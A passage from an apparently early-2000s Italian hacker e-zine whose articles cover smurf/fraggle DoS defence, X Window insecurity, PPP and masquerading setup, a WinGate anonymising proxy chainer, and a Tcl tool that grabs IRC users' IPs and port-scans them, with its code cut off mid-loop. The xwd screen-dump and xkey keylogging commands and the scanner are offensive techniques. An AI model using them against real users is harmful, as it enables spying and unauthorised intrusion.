o un fileindi in qualsiasi momento voi abbiate bisogno di aggiungere
funzioni basta ke date un okkio al kodice gia skritto...

sperando di nn avervi annoiato troppo
Baci mici alle vostre ragazze madri sorelle e nonne

C'ya
DarK-Elf




ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°°°°°°°°°°°°°°°ÛÛ°°°°°°Û°°ÛÛÛ°°°°ÛÛ°ÛÛ°°°ÛÛ°°ÛÛ°°°°ÛÛ°°°°°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°°°°°°°ÛÛ°°°°°°°°°ÛÛ°ÛÛ°°ÛÛ°ÛÛ°°°ÛÛ°°°ÛÛ°°ÛÛ°°°°°°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°°°°°°°ÛÛ°°°°°°ÛÛ°ÛÛ°°Û°°ÛÛ°ÛÛ°°°ÛÛ°°°°°ÛÛ°°°°°°°°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°°°°°°°ÛÛ°°°°°°ÛÛ°ÛÛ°°ÛÛ°ÛÛ°ÛÛ°°°ÛÛ°°°ÛÛ°°ÛÛ°°°°°°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°°°°°°°ÛÛÛÛÛÛÛ°ÛÛ°ÛÛ°°°°ÛÛÛ°°ÛÛÛÛÛ°°°ÛÛ°°°°ÛÛ°°°°°°°°°°°°°°°°°°°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ


DIFENDIAMOCI DA SMURF-FRAGGLE

In questo articolo parlero' ( o almeno cerkero' ) di soluzione pratike per difendersi
da un attacco dos piu' temuto : lo smurf ! Speriamo ke io abbia tanto tempo per
parlarvi nei prossimi numeri di altri attacchi e di altri metodi di difesa !
( speriamo :PPPPPPPPP )
Naturalmente non c'e' bisogno ke vi spiega cosa fa lo smurf perke' tutti voi
siete a conoscenza di quello ke puo' fare e beno o male lo utilizzate
frequentemente tutti voi !Giusto ? Io cmq penso che voi usiate lo smurf perke'
lo usano tutti e perke' basta compilarlo, inserire una tabella di broadcast ed il
grosso è fatto.
Sapete cosa sono gli indirizzi di broadcast ? Sapete come funziona quest'attacco cosi'
distruttivo ? Se si .. allora saltate questo articolo.
Cmq partiamo con la teoria perke' secondo me è da lamer usare del codice in c senza
sapere come agisce ( questo secondo me .. voi fate come volete ) :PPPPPPPPP
Allora , un attacco smurf rikiede la presenza di tre soggetti : l'aggressore
( siete voi ...vi devo dire tutto ? ihihihihi ) , la rete di amplificazione ,
la vittima ( come vittima vi consiglio : Dante Alighieri(sti cazzi! by Dante)!!!
ihihihihihihihihihi skerzo non provateci !!!).L'aggressore invia pacchetti ICMP ECHO
contraffatti agli indirizzi broadcast della rete di amplificazione. L'indirizzo di
origine dei pacchetti è falsificato in modo che il sistema obiettivo risulti come fonte
della richista. Quando avviate lo smurf .. alla vittiama succede il finimondo !
Vi spiego : avendo ricevuto il pacchetto ECHO sull'indirizzo di boradcast, tutti i
sistemi della rete di amplificazione rispondono alla vittima. Inviando un solo pacchetto ICMP
a una rete di amplificazione contenente 100 sistemi in grado di rispondere ,
l'ggressore riesce a moltiplicare il suo attacco per 100.
Spero che spiegato cosi' semplicemente avrete capito come funziona un semplice
attacco Dos Smurf.
Una variante di questo attacco è il FRAGGLE , meno conosciuto ma distruttivo come
lo smurf. Sono semplicemente due attacchi simile con la differenza che lo smurf utilizza
pacchetti ICMP, invece il FRAGGLE utilizza pacchetti UDP tipicamente sulla porta 7 (echo).
Tutti i sistemi della rete su cui sia abilitata l'echo rispondo all'host vittima
generando un'enorme quantita' di traffico.Bene , abbiamo parlato di smurf ma ora
parliamo di come difenderci da questo benedetto Dos.Per evitare di essere utilizzati
come amplificatore , la cosa migliore da fare è disabilitare sul router la funzione
directed broadcast.Nei Cisco si usa il comando: no ip directed-broadcast.Alcuni s.o.
permettono di scartare gli ICMP ECHO broadcast . Vediamo un po' come !
Nelle solaris 2.6,2.5,2.4,2.3 è sufficiente aggiungere la seguente linea di codice nel file
/etc/rc2.d/S69inet :

ndd -set /dev/ip ip respond_to_echo_broadcast 0

Sui linux possiamo attivare il firewall a livello kernel utilizzando ipfw.
Verificate di aver compilato il kernel con questa opzione e dopo digitate questi comandi :

ipfwadm -I -a deny -P icmp -D ind.di.broadcast.0 -S 0/0 0 8
ipfwadm -I -a deny -P icmp -D ind.di.broadcast.255 -S 0/0 0 8

Per le FreeBSD basta editare sysctl e disabilitare il parametro net.inet.icmp.bmcastecho.

Per inpedire invece di rispondere al FRAGGLE a sistemi unix disattivare echo e
chargen in /etc/inetd.conf anteponendo al nome del servizio un #.
Bene credo che piu' facile di cosi' non potevo spiegare un argomento su cui ho
letto una decina di libri!!.

P.S.L'autore di questo articolo non lo ha firmato...spero provvedera' al + presto
a mandarmi sue notizie..inseriro' con piacere il suo nome :)



METTIAMO UN LUCCHETTO AD " X "
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


this art. is dedicated to:Dante e N0body88 che continuano a portare avanti NewbieS.Spero di
incontrarvi un giorno :)
this art. is dedicate also to:tutte le ragazze chedopo aver letto le righe sopra pensano che io
sia un gay.la mia e-mail è sospiro@freemail.it ;)

INTRODUZIONE AD XWINDOW
***********************
Ok,fatti i giusti ringraziamenti iniziamo l'articolo che vi farà conoscere quanto XWindow si
poco sicuro e come sia facile recuperarne informazioni preziose se non si applicano alcune
regole per renderlo un pò piu' sicuro.
Spieghiamo innazitutto cos'è X per chi ha appena installato Linux o per chi non l'ha ancora
fatto: X E' IL SISTEMA GRAFICO UTILIZZATO DA LINUX.In pratica quando ,dopo esservi loggati
sul sistema,digitate "startx" avviate niente popò (?) di meno che X (beh penso che questo lo
abbiano capito tutti vero?:)
Quello che succede quando lanciate questo comando è avviare un server X che aspetta
a sua volta un client cioè tutte le applicazioni che poi lanciate all'interno del sistema
grafico.Esse comunicano ,al momento del lancio, le coordinate dei punti e delle linee che il
server dovrà "disegnare".Con questo metodo basato sul rapporto client/server è facile intuire
che la stessa cosa può avvenire in una network,ad esempio su un sistema A si potranno eseguire
applicazioni su un server che gira su un sistema B.

PERMESSI DI CONNESSIONE
***********************
Purtroppo proprio a causa di questa possibilità di collegarsi anche da remoto si sono
presentate grosse falle nel sistema di sicurezza.
Infatti,se X non viene configurato a dovere, tutti possono collegarsi ad un display X loggando
la tastiera,dumpando le immagini sullo schermo e eseguire applicazioni su questo display.
Vediamo un pò di esempi pratici usando alcuni comandi:

$ xhost +
con questo comando si disabilita il controllo su tutte le connessioni in modo che tutti gli
hosts possano collegarsi al nostro server X.

$ xhost + 212.254.21.2
in questo modo invece,com'è facile intuire, si abilita la connessione al server ad un
determinato host in questo caso 212.254.21.2

$ xhost -
con questo comando invece si abilita il controllo sulle connessioni in modo che nessuno possa
collegarsi tranne ovviamente localhost (cioé voi)

Digitando semplicemente " xhost " si controlla lo stato di accesso al vostro serverX in questo
modo potrete eventualmente cambiarlo.

Per trovare server X "aperti" si può usare uno scanner che collegandosi alla porta 6000 (quella
usata dal server) chiama XOpenDisplay("IP-ADDRESS:0.0") che risponderà con la situazione del
display cioè se è attivo il controllo sulle connessioni.In questo caso il messaggio che il
client vedrà sarà il seguente:

Xlib: connection to "display:0.0" refused by server
Xlib: Client is not authorized to connect to Server

IL PROBLEMA LOCALHOST
*************************
Però c'è un'altro problema.Attivando il controllo con il comando " xhost - " nessun host potrà
collegarsi da remoto sul server,ma se un qualcuno è già riuscito ad entrare nel sistema come
utente normale?La risposta è che quell'utente può bypassare la protezione e collegarsi al
display in localhost.Vediamo come:

$ xwd -root -display localhost:0.0 > file.xwd
$ xwud -in file.xwd

In poche parole l'user cattivello usa il programma xwd che serve appunto a dumpare le finestre
all'interno di X WIndow e salvare l'immagine in un particolare formato che può essere letto da
altre applicazioni X.Una di queste è xwud che come vediamo attraverso il comando scritto sopra
può leggere un file salvato con xwd.
Voi che siete tutti user cattivelli :) starete pensando di dumpare un xterm leggendo così tutti
le cose piu' segrete del sys admin.Per fortuna ( o purtroppo dipende dai punti di vista) questo
non è possibile perchè lanciando il comando
$ xwd -name xterm
riceverete un errore che vi negherà l'operazione.

Oltre che dumpare le window del r00t potrete anche loggare tutti i tasti della tastiera da lui
premuti e mandare i "propri tasti" premuti al processo facendo scrivere all'admin
l'impensabile:)
Di programmi che permettono questa operazione c'è ne sono ma il piu' famoso (secondo me) è
"xkey".In alcuni casi è possibile usare questa tecnica su un xterm .Questo è molto pericoloso
per l'admin perchè in un terminale vengono scritte una miriade di passwords e di altre cose che
sarebbe meglio non divulgare.Cmq ,per fortuna, ci sono delle tecniche per impedire che avvenga
l'invio di caratteri su un xterm:
1)controllare che la seguente linea sia uguale a quella presente in /root/.Xdefaults:

xterm*allowSendEvents False

2)Guardare che Allow Sendevents nelle opzioni del terminale non sia selezionato

Per impedire invece che l'output venga letto dovrete selezionare l'opzione Secure Keyboard
nelle opzioni del terminale (potrete richiamare il menu' delle opzioni con CTRL+LEFT del vostro
mouse)

.Xauthority
***********
Infine,segnalo la presenza del file .Xauthority nella home dell'utente.Questo file viene creato
da xdm dopo il login ed è binario quindi può essere letto soltanto dal comando xauth.
Vediamo come si presenta .Xauthority:

$ xauth list

ip_del_display:0 MIT-MAGIC-COOKIE-1 73772367724b76682f726d89624a684c
| | |
nome del display tipo di autorizzazione key

Ogni sessione viene creata una nuova key che quindi solo il root può leggere.Per far aprire
il display da un altro user dovrete prima informarlo della key e quindi lui userà il display
con il seguente comando:

$ xauth add ip_del_display:0 MIT-MAGIC-COOKIE-1 73772367724b76682f726d89624a684c

In caso di una connessione non riuscita il root riceverà il seguente avviso:

AUDIT:Sat Jul 8 11:22:08 2000: 898 X:client 11 rejected from ip 127.0.0.1 port 1026


Siamo così giunti alla fine della articolo,se siete interessati all'argomento vi consiglio di
leggere le seguenti advisory:


Se non avete capito qualcosa,volete farmi qualche domanda o se avete delle sorelle che
assomigliano a Jenna Jameson la mia e-mail è: sospiro@freemail.it
Byez
SosPiro

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÏÏ Fate "ciao ciao" con la manina a kppp ÏÏ
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

... ADDIO kppppppp ...

Bhe ragà ... un art veloce veloce x spiegarvi come connettersi ad internet
senza usare quel fastidioso kppp simil winzoz del KDE.
è seplicissimo ...
logghiamoci da root.
per prima cosa diamo una rapida editata al file /etc/ppp/pap-secrets

# Secrets for authentication using PAP
# client server secret IP addresses
username * password

inserite quindi una stringa contente username e password della vostra
connessione divise da un *
Ora editare il file /etc/ppp/options e inserite all'interno queste rigeh:
/dev/ttyS0 #<-- porta del modem
115200 #<-- velocità di trasmissione
debug
lock
crtscts
defaultroute
mtu 552
mru 552
salvate e spostatevi nella dir /bin
creamo quindi qui lo scriptino x la conessione vero e proprio:

-------------------CUT--------------------
#!/bin/bash
killall pppd
pppd connect '/usr/sbin/chat -v "" ATDT800XXXXXXX CONNECT "" ' user devilnet -d &
-------------------SCUT-------------------

il killall pppd server a killare altri processi residui del pppd.
sostituite all'800XXXXXX in numero del vostro greenz... ehmm provider... :)
dove dice user devilnet, sostituite il devilnet con l'username
ke avete specificato nel file /etc/ppp/pap-secrets
!!fate attenzione a lasciare la stringa del pppd tutta su 1 linea sola!!
salvate, uscite e settiamo i permessi con il chmod

[root@DeVVo /bin]# chmod 777 nomedelloscript

FINEEEEEEE
vi catto qui di seguito alcuni scriptini ke ho creato x tener
connesso il vostro pc 24su24 tramite gree..uffff mi sbaglio sempre
... tramite flat ...
Non credo ci sia bisogno di commentare + di tanto ...
... spero ...

il DeVVo vi saluta ... alla prossima raga . . .

la mia mail la sapete ... e se non la sapete...
---->> devilnet@devilnetrulez.com <<-----

Script di connessione+test da inserire tra gli rc in modo da startare
in modo automatico la connessione all'avvio del "server":
------------------CUT------------------------
#!/bin/bash
DEVICE=ppp0
killall kppp
clear
echo ""
echo ">>> DeViLNeT <<< . . . C0nn3cting . . ."
pppd connect '/usr/sbin/chat -v "" ATDT800XXXXXX CONNECT "" ' user <username> &

#X UNA CONNESSIONE ISDN 8 SEC SONO SUFFICIENTI
#SE UTILIZZATE UN NORMALE MODEM AUMETATE GLI SLEEP
echo -n 8.. && sleep 1
echo -n 7.. && sleep 1
echo -n 6.. && sleep 1
echo -n 5.. && sleep 1
echo -n 4.. && sleep 1
echo -n 3.. && sleep 1
echo -n 2.. && sleep 1
echo -n 1.. && sleep 1
echo ""
echo "--> TeSting CoNNection . . ."
if [ ! -f "/var/run/$DEVICE.pid" ]
then
echo "****************************"
echo "OPS . . ."
echo ". . . Not CoNn3cted :( . . ."
echo "****************************"
echo ""
exit
else
echo "*****************************"
echo "D0n3 . . ."
echo ". . . ppp0 Conn3cted :) . . ."
echo "*****************************"
echo ""
fi
-------------------SCUT-------------------------

Controllo della connessione e avvio del pppd in caso non sia connesso (da
abbinare al cron in modo tale ke venga effettuato il controllo ogni tot di
minuti):
----------------------CUT-----------------------
#!/bin/bash
#INSERIRE NEL CRON QUESTA STRINGA X IL CONTROLLO DELLA CONNESSIONE
#OGNI MINUTO:
#* * * * * /bin/nomediquestoscript 1>/dev/null 2>/dev/null
DEVICE=ppp0
devconf=`cat /etc/dcppp0`
if [ $devconf != "1" ]
then
exit
fi
clear
echo "--> TeSting CoNNection . . ."
if [ ! -f "/var/run/$DEVICE.pid" ]
then
#inserire al posto di /bin/conn qui in basso l'indirizzo dello script di
#connessione
/bin/conn
else
echo "OKY . . ."
fi
-------------------SCUT---------------------------
x questo script è necessario creare il file /etc/dcppp0 e scriverci
dentro "1".
E' stato fatto in modo tale ke se si vuole disattivare l'opzione di
controllo ogni minuto non è necessario togliere la stringa dal cron o
disabilitarlo ma basta un semplice
echo "0" >/etc/dcppp0
ed un
echo "1" >/etc/dcppp0 <--- x abilitarlo

Alcune connessioni tramite flat vengono disconnesse automaticamente se non
utilizzate x alcuni minuti. X evitare ciò è possibile creare uno scriptino
abbinato al cron ke pinghi automaticamente un server esterno. Questo non
ve lo scrivo ... sarebbe troppo !!!

DeVVo

**********PICCOLO SERVER X PICCOLA RETE***********

Quanti piccì avete a casa voi ??
io 3, io 8, io 12 ...
uhmmm sono connessi in rete ??
cosa ne pensate di mettere su un serverino linuxino ??

Mat3riale necessario:
- 2 o + piccì ... ObV|ouS
- 2 o + sk di rete <-- come pensavate di connetterli ???
- 1 hub <-- x sk di rete RJ45
- cavi RJ45/coassiali vari
- 1 cd con la vostra distro linux preferita
- 1 po' di tempo

Prima di tutto scegliete quale dei vostri computer verrà usato come
server. Collegate ogni pc all'hub.

*** Se dovete connettere in rete solo 2 pc, potete fare a - dell'hub
creando semplicemente un cavo crossoverato (vedi art NB6 me pare) ***

1 - Installazione
Passiamo all'installazione della nostra linux (consiglio SLakka 7)
Non sapete come ?? uhm ... bel guaio ... provate a leggervi prima un po'
di tut vari sull'installazione e su linux in generale, poi ritornate su
questo art.
Loggatevi come root ...

2 - Ricompilazione del kernel
X abilitare le operazioni di masquerading e di firewalling è necessario
ricompilare il kernel con le seguenti opzioni. Nelle nuove distribuzioni
tutto ciò non è neccessario in quanto queste opzioni sono supportate dai
moduli preinstallati con i kernel.

-> network firewalls
-> ip masqueranding
-> ip icmp masq
-> ip firewalling
-> moduli x la vostra skeda di rete

3 - Configurazione sk di rete
Esistono numerose appz da console e sotto X x la configurazione delle sk
di rete e varie ...
... ma noi preferiamo configurare il tutto da console manualmente con
il nostro amato ifconfig .. vero ??
per prima cosa editate il file /etc/conf.modules
ed inserite questa stringa:

alias eth0 3c59x

dove 3c59x è il modulo della vostra sk di rete (io ho una 3COM pci).
ora utilizzeremo if config x abbinare al nostro pc un ip.
Gli ip x una rete privata posso essere di 3 classi:

- compresi tra 10.0.0.0 e 10.255.255.255
- compresi tra 172.16.0.0 e 172.31.255.255
- tra 192.168.0.0 e 192.168.255.255

è necessario scegliere un ip compreso tra queste classi. Se infatti
configuriamo il nostro pc con un ip di un server esterno, facendo
una qualsiasi rikiesta a questo server, l'ip verrà interpretato come
un indirizzo locale e non come l'ip di un server remoto.
la stinga di inizializzazione con l'ifconfig è la seguente:

[root@DeVVo /]# ifconfig eth0 192.168.0.1 netmask 255.255.255.0 up

dove eth0, è il nome della skeda di rete nominata così nel conf.modules,
192.168.0.1 è l'ip del mio pc (consiglio di configurare 0.1 il server
principale connesso all'esterno con ppp0), 255.255.255.0 è la netmask
della vostra rete, ed "up" l'opzione x inizializzare la skeda.
X disattivarla infatti è necessario usare l'opzione "down"

[root@DeVVo /]# ifconfig eth0 down

per testare il corretto funzionamento usiamo il comando ping

[root@DeVVo /]# ping 192.168.0.1

4 - Configurazione masquerading e firewalling
editate il file ip_forward nella dir /proc/sys/net/ipv4/
e modificate lo 0 in 1.
potete utilizzare la seguente stringa:

[root@DeVVo /]# echo "1" >/proc/sys/net/ipv4/ip_forward

Per attivare il masquerading usiamo l'ipchains.
Già ke ci siamo si possono anke firewallare alcune porte x rendere +
sicuro il nostro server. Ma x questo vi rimando ad altri art.
x abilitare il masq sulla sottorete 192.168.0.*:

[root@DeVVo /]# ipchains -A forward -s 192.168.0.0/24 -j MASQ

ora non ci resta altro ke installare i moduli x il masq dei servizzi ftp
ed irc:

[root@DeVVo /]# modprobe ip_masq_ftp
[root@DeVVo /]# modprobe ip_masq_irc

Il server è ora configurato ... possiamo passare ai nostri client
che potranno essere winzoz, linux, mac o quello ke volte :)
Ah ... ad ogni riavvio del server è necessario rieseguire i suddetti
comando x riattivare il masq. E' consigliabile quindi creare uno scriptino
da piazzare tra gli rc.

5 - Configurazione dei client
La configurazione di un winzoz è una cosa ke mi da tremendamente alle
sfere !! infatti ogni piccolo cambiamento ai protocolli necessita un
reboot della makkina .. !! biiiiiiiilllllllllllllll!
Installate la vs skeda di rete rigorosamente plug-and-play winmerd9x2K
compatibile ... andate nel pannello di controllo/rete, aggiungete il
protocollo TCP/IP, clikkate su proprietà, impostate l'ip del pc
(attenzione a non impostare un ip già ulitizzato nella rete) quindi andate
nella sezione gateway ed impostate l'ip del server (192.168.0.1), andate
nella sezione DNS, aggiungete i nameserver nella casella ordine di ricerca
servizi DNS. Riavviate il pc ed aprite un prompt di ms-dos.
Per testare il funzionamento della skeda di rete provate ad usare il
comando:

C:\windomerd2kdirectory> ping 192.168.0.2 <---- indirizzo ip della makkina

se tutto è oky
provate a pingare il server utilizzando il suo ip.
Il masq sul client windows è ora configurato.
X un client linux è tutto + semplice. Configurate la skeda di rete (vedi
passo 3) quindi è necessario specificare i nameserver nel file
/etc/resolv.conf.
Usate la seguente stringa x aggiungere i ns richiesti:

[root@DeVVo /]# echo "nameserver <DNS>" >>/etc/resolv.conf

dove <DNS> è l'ip.
Ora va impostata la rotta con il comando route:

[root@DeVVo /]# route add default wg 192.168.0.1 <--- ip del server

provate a pingare il server ed i vari client ...
il gioco è fatto :))
Difficile ??
Se avete una flat o volete ke il vostro pc sia sempre connesso ad
internet, vi rimando all'altro art sulla connessione ppp0 da console

4 help,commenti,fuck,consigli ...
linux@devilnetrulez.com
alla prox...
OMNI MUNDA ObV|ouS

DeViLNeT :P




ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°ÛÛÛ°ÛÛÛ°ÛÛÛ°ÛÛÛÛ°ÛÛÛ°°°°°Û°°°°°ÛÛ°°°ÛÛÛÛ°°°ÛÛ°°°°°Û°°°°°ÛÛÛ°Û°ÛÛÛ°ÛÛ°°Û°ÛÛ°²
²°Û°Û°Û°Û°Û°Û°Û°°°°Û°Û°°°°ÛÛÛ°°°°Û°Û°Û°ÛÛ°Û°Û°Û°°°°ÛÛÛ°°°°°°Û°Û°Û°Û°Û°Û°Û°Û°°²
²°ÛÛÛ°ÛÛÛ°Û°Û°Û°ÛÛ°ÛÛÛ°°°ÛÛ°ÛÛ°°°Û°°Û°°ÛÛ°°Û°°Û°°°ÛÛ°ÛÛ°°°°Û°°Û°Û°Û°Û°°ÛÛ°ÛÛ°²
²°Û°°°ÛÛ°°Û°Û°Û°°Û°ÛÛ°°°ÛÛÛÛÛÛÛ°°Û°°°°°ÛÛ°°°°°Û°°ÛÛÛÛÛÛÛ°°Û°°°Û°Û°Û°Û°°°Û°Û°°²
²°Û°°°Û°Û°ÛÛÛ°ÛÛÛÛ°Û°Û°ÛÛ°°°°°ÛÛ°Û°°°°°ÛÛ°°°°°Û°ÛÛ°°°°°ÛÛ°ÛÛÛ°Û°ÛÛÛ°Û°°°Û°ÛÛ°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ




WinGate Connector 1.00

by tHE rECIdjVO <recidjvo@pkcrew.org>
http://www.pkcrew.org/

Weee all, visto che di WinGate e di socket ne abbiamo gia' parlato fin troppo, e ormai se
non sapete usarli vi inseguo con una mazza chiodata a bordo di una moto velocissima, vi racconto
una bella storia, che poi e' la causa che ha portato alla realizzazione del programma di cui parleremo in seguito.
Tipica giornata di inizio Marzo. Sto montando un'autoradio con Paolino e Fabio sulla macchina
di quest'ultimo, e gia' pregusto le scorribande di sabato sera con la musica truzza a palla e i
vetri abbassati (Gg D'Ag rulezzz), quando sento un certo prurito dietro... ah, no, e' il cello
che vibra :) Sara' il solito squillo... no... sara' la mamma che mi chiede quando torno a casa
visto che non ci sono mai... |CyRaX| !?!?!? E che vuole? :)

<recidjvo> Pronto!
<|CyRaX|> Dove cazzo eri finito per tutto questo tempo?!?
<recidjvo> Eheheh ciao Ciro :)
<|CyRaX|> E' piu' di un mese che non ti fai vivo...
<recidjvo> Lo so, sono in pausa meditazione, stavo collegato almeno 12 ore al giorno e rischiavo di ammalarmi :)
[...]
<|CyRaX|> Senti sto fondando 1 crew. Come stai messo a programmazione in C?
<recidjvo> Ehm, uhm, err...

Bella figura di merda che ho fatto con un mio amico :)
Si ma a noi che ce ne frega della tua vita privata?!?
Allora. allora, aspetta un attimo:
1) Abbassa il tono o ti inseguo con la mazza chiodata di cui sopra.
2) Se aspetti un attimo arrivo al dunque.

Vabbe', tutto questo per dire che mi sono impegnato a imparare il C per evitare prossime figure analoghe,
e sembra che almeno un po' ci sia riuscito, visto che dopo aver letto il codice |CyRaX| mi ha proposto di
entrare a far parte dei Packet Knights :) L'altro motivo che mi ha spinto a scrivere questa marea di caxxate
e' che non volevo fare la mia prima apparizione qui senza iniziare a farmi odiare subito da tutti, eheheh...
Ora avete l'autorizzazione a distrarmi e a rubarmi la mazza, e poi iniziare a rincorrermi su un 4x4 nero con
gli adesivi di Renegade sulle fiancate :)

Ok, ora davvero basta con le futilita' e cominciamo a parlare di cose serie (o presunte tali ;)
Il programma che trovate qui non e' semplicemente il porting del WinGate With All uscito su NewBies5
(tra l'altro scritto da |CyRaX| - ora ha imparato il C, tiene che lo precisi bene a tutti :). Ho aggiunto
qualche funzionalita' interessante, e una buona dose di controlli sullo stato del bouncing.
Visto che sulla teoria dei WinGate trovate piu' articoli degli aggettivi che dareste a una signora al
volante che vi taglia la strada con la Panda, e il concetto base l'ho copiato dal programma di Ciro,
vi indico soltanto le funzionalita' del programma, in modo che possiate testarlo e darmi magari una
mail di ritorno con eventuali problemi.

I file con gli address (per modificarli basta cambiare i #define) contengono le liste dei wingate da usare.
Visto che il servizio offerto spesso decade a breve tempo, conviene eseguire almeno una volta al giorno il
programma in modo --verify, cosi' da utilizzare una lista funzionante al 99%, o, nel caso di verify di liste
molto estese, compattare prima il file per eliminare eventuali duplicati.
Una nota molto importante: NON USATELO X FARE SCANNING!!! Infatti non sono stati implementati sistemi di
stealth, e la connessione viene completata lasciando un'eventuale traccia nei log. Anche se spesso si consiglia
di usare programmi di portscanning per trovare wingate, NON FATELO (io l'ho fatto e mi sono beccato una mail
dell'ammimnistratore della classe di IP che mi chiedeva come mai qualcuno tentava di collegarsi a tutte le sue
macchine sulla 23... - tempi da lamer ;), piuttosto cercate le liste delle k-line sui server IRC, ma mai IP sequenziali!

L'utilizzo principale e' quello di creare una connessione *sicura* verso un determinato host, creando un
datapipe tra una determinata porta della nostra macchina (ricordate che se non siete root non potete bindare
porte inferiori alla 1024) e l'host remoto. Connessione di certo un po' lenta ma molto piu' sicura.
La sintassi da usare e' molto semplice: -l indica la porta locate, -h l'host e -p la porta remota, con
l'opzione --high-security per aumentare il numero di wingate usati da 2 a 3.

Il WinGate Connector va lanciato appena prima di stabilire la connessione: potete seguirne le fasi di collegamento
e buoncing, poi, se tutto va bene, il programma forkera' e andra' in background. Ora non vi rimane che collegarvi
a localhost sulla porta che avrete scelto tramite -l e il datapipe anonimo sara' completato :)
Come nota vi segnalo che mentre per il -v e' settato un tempo di timeout per la connessione, in modo normale no,
quindi se vedete che ci impiega troppo a connettersi a un host fate un bel CTRL+C e riprovate...
In ogni caso il programma controlla non solo la connessione, ma anche che appaia il prompt *WinGate>*, quindi
se volete fare delle prove non potete simulare wingate con un semplice netcat :)

Credo che ormai abbia detto tutto, l'unica nota del codice che non possa essere spiegata leggendo i numeri
precedenti di NewBies e' l'utilizzo dei socket in O_NONBLOCK mode e la funzione select(). Ma per questo, man
select e via!

Ok, ok ora mi abbatto e vi lascio col codice del mio programma, fatene buon uso, mi raccomando :)
E ricordate che usare dei tool senza comprenderne almeno le basi del funzionamento non vale :)))

tHE rECIdjVO <recidjvo@pkcrew.org>
------------------------------------
Member of the Packet Knights
http://www.pkcrew.org/

---

Lamah v1.0 e anche ultima :)

Questo programmino della minchia l'ho scritto in 15 minuti, sperandoli
irrimediabilmente. Potevo guarda la televisione, dormire (ho appena fatto
un TIME a |DR3DD|, uno dei miei amici/orologi su IRC: è 1,00 di notte),
insomma, qualsiasi cosa è meglio di questo prog.

Ma l'ho fatto quindi ve lo spiego:
3 FILE:

1 --> lamah.tcl l'eseguibile. Dovete dargli il permesso
di esecuzione:
chmod +x lamah.tcl
ma sopratutto avere l'interprete TCL.
2 --> lamah.var Il file delle variabile. Qui metterete il canale,
il server, il nome del programma, la porta e stop.
3 --> lamah.proc file di procedura. Nulla di chè. Non toccatelo
ma dategli i permessi di esecuzione:
chmod +x lamah.proc

Ah! Non vi ho detto che fa!
Questo prog si connette ad un canale di IRC logga tutti ed esce. Ci impiega
0,4 secondi :) Poi scanna tutti le persone su una serie di porte date:
21 23 25 79 80 113 139 12345 (POTETE AGGIUNGERNE: leggi lamah.proc)
e scrive tutto su un file di nome del canale. Poi... fatevene quel che volete.

Michael Bakunin
bakunin@meganmail.com

--- lamah.tcl

#!/usr/bin/tcl
##########################
#
# Per ogni programma della minchia ci va un commento della minchia!
# Ci ho impiegato 15 minuti per scrivere queste 50 righe di codice
# quindi non ci vuole molto a capire il funzionamento!
# Leggi il LEGGIMI per capire!
#
##########################



source lamah.var

puts "Connessione in corso ..."
set bot(SOCK) [socket $bot(SERVER) $bot(PORTA)]
fconfigure $bot(SOCK) -buffering line -blocking 0
puts "Connessione avvenuta.\nInizializzazione in corso..."
puts $bot(SOCK) "NICK $bot(NICK)"
puts $bot(SOCK) "USER uzver b c :$bot(NOME)"
puts "Inizializzazione effettuata.\nAspetto risposta..."
puts $bot(SOCK) "join $bot(CANALE)"
puts $bot(SOCK) "join $bot(CANALE)"
puts $bot(SOCK) "who $bot(CANALE)"
set ilfile [open "$bot(CANALE).log" w]
puts $ilfile "Lamah v1.0 by Michael Bakunin"
puts $ilfile ""
puts $ilfile "----------------------------------------------------"
close $ilfile

fileevent $bot(SOCK) readable {

if [eof $bot(SOCK)] {catch {close $bot(SOCK)}; return}

gets $bot(SOCK) line
regexp {^(:([^ ]+) +)?([^ ]+) *(.*)$} $line tutto no1 src cmd argomenti
switch $cmd {
"352" {
regexp {([^ ]+) ([^ ]+) ([^ ]+) ([^ ]+) ([^ ]+) ([^ ]+) (.*)$} $argomenti tutto io canale nome ip server nick altro
exec lamah.proc $nick $ip $canale &
}
"315" {
puts $bot(SOCK) "QUIT :$bot(QUIT)"
exit
}
}
}
vwait events

--- lamah.proc

#!/usr/bin/tcl
##########################
#
# Per ogni programma della minchia ci va un commento della minchia!
# Ci ho impiegato 15 minuti per scrivere queste 50 righe di codice
# quindi non ci vuole molto a capire il funzionamento!
# Leggi il LEGGIMI per capire!
#
##########################


source lamah.var

if {"$argc"!=3} {
puts "Errore di utilizzo\n"
exit
} else {
regexp {([^ ]+) ([^ ]+) ([^ ]+)} $argv tutto nick ip file
####################################################################
#
# Se volete aggiungere altre porte alla scansione, aggiungetele nella
# riga sotto. Ad esempio
# foreach porta {21 23 25 12345 31337} ...
#
####################################################################
foreach porta {21 23 25 79 80 113 139 12345} {
catch {
